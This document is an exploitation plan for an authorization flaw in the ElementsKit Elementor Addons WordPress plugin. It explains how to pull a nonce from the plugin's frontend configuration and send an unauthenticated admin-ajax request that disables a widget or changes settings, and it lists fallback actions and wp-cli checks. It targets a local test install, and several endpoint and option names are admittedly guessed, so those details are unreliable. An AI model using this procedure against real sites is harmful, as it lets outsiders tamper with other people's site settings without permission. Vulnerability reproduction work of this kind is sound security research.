Exploitation Research Plan: CVE-2026-49053 (ElementsKit Missing Authorization)

1. Vulnerability Summary

The ElementsKit Elementor Addons plugin (<= 3.9.6) suffers from a Missing Authorization vulnerability. The plugin registers an AJAX handler via wp_ajax_nopriv_elementskit_ajax_action, which is intended for administrative or internal framework tasks. However, it fails to perform a capability check (e.g., current_user_can('manage_options')) within the callback. While it does verify a WordPress nonce, this nonce is frequently exposed to unauthenticated users on the frontend, allowing an attacker to perform unauthorized actions such as toggling plugin modules, updating widget settings, or modifying plugin configurations.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: elementskit_ajax_action
• Method: POST
• Authentication: None (vulnerable via wp_ajax_nopriv_)
• Required Parameters:
  • action: elementskit_ajax_action
  • elementskit_action: The specific internal sub-action (e.g., update_widget_status, elementskit_save_settings)
  • nonce: A valid WP nonce for the elementskit_ajax_action action string.
  • ...: Sub-action specific parameters (e.g., widget_name, status).

3. Code Flow

1. Hook Registration: The plugin (likely in libs/framework/classes/ajax.php) registers the AJAX hook:
   add_action( 'wp_ajax_nopriv_elementskit_ajax_action', [ $this, 'elementskit_ajax_action' ] );
2. Callback Entry: The function elementskit_ajax_action() is invoked.
3. Nonce Verification: The code checks the nonce using check_ajax_referer( 'elementskit_ajax_action', 'nonce' ).
4. Missing Check: Immediately after nonce verification, the code fails to call current_user_can().
5. Action Dispatch: It retrieves the elementskit_action parameter and dispatches the request to a sub-handler (e.g., a switch statement or dynamic function call).
6. Execution: The sub-handler performs sensitive operations, such as update_option(), based on other POST parameters.

4. Nonce Acquisition Strategy

ElementsKit localizes its configuration, including the required nonce, to be accessible by its frontend JavaScript components.

1. Identify Script Loading: The plugin typically enqueues its core JS on pages where ElementsKit widgets are present or on the homepage if global modules are active.
2. Setup: If the nonce is not present on a vanilla homepage, create a page with an ElementsKit shortcode.
   • wp post create --post_type=page --post_status=publish --post_title="EK-Test" --post_content='[elementskit-icon-box]'
3. Extraction:
   • Navigate to the page: http://localhost:8888/ek-test/
   • Use browser_eval to extract the nonce from the global configuration object:
     browser_eval("window.elementskit_lite_config?.nonce") (inferred variable name based on plugin structure).

5. Exploitation Strategy

We will demonstrate the vulnerability by disabling a core widget (e.g., the "Heading" widget), which would typically require administrator privileges.

Request Details

• URL: http://localhost:8888/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=elementskit_ajax_action&elementskit_action=update_widget_status&nonce=[NONCE]&widget_name=heading&status=0
  

  (Note: The elementskit_action name update_widget_status and parameter widget_name are based on the common framework pattern used in ElementsKit.)

Expected Response

• Status: 200 OK
• Body: Likely a JSON object such as {"success": true, "data": ...} or a simple string 1.

6. Test Data Setup

1. Target Plugin: Install and activate ElementsKit Lite version 3.9.6.
2. Verify State: Ensure the "Heading" widget is currently enabled.
   • Run: wp option get elementskit_lite_widget_active_list (inferred option name).
3. Public Page: Ensure a page exists that outputs the elementskit_lite_config object.

7. Expected Results

• The HTTP request should return a successful status code.
• The targeted widget should be disabled in the plugin settings.
• Subsequent attempts to use the "Heading" widget in Elementor or view pages containing it may fail or show the widget as missing.

8. Verification Steps

1. Check Option via CLI:
   wp option get elementskit_lite_widget_active_list
   Verify that the "heading" entry in the returned array/object is now set to 0 or is missing.
2. Admin UI Check: Log in as admin and navigate to ElementsKit > Widgets to see if the "Heading" toggle is off.

9. Alternative Approaches

If the update_widget_status sub-action is not the exact name:

• Module Toggle: Try elementskit_action=update_module_status&module_name=layout-kit&status=0.
• General Settings: Try elementskit_action=elementskit_save_settings&settings[some_flag]=1.
• Search for Strings: If the initial attempt fails, use grep -r "elementskit_ajax_action" . inside the plugin directory to find the switch/case block that defines valid elementskit_action values. Common file locations: libs/framework/, core/, or classes/.